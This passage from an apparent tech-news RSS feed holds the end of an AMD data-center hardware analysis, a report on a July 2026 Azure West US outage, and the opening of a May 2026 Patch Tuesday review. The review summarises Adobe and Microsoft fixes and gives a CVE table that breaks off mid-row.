<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3694765/ai-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694765/ai-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Network World.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
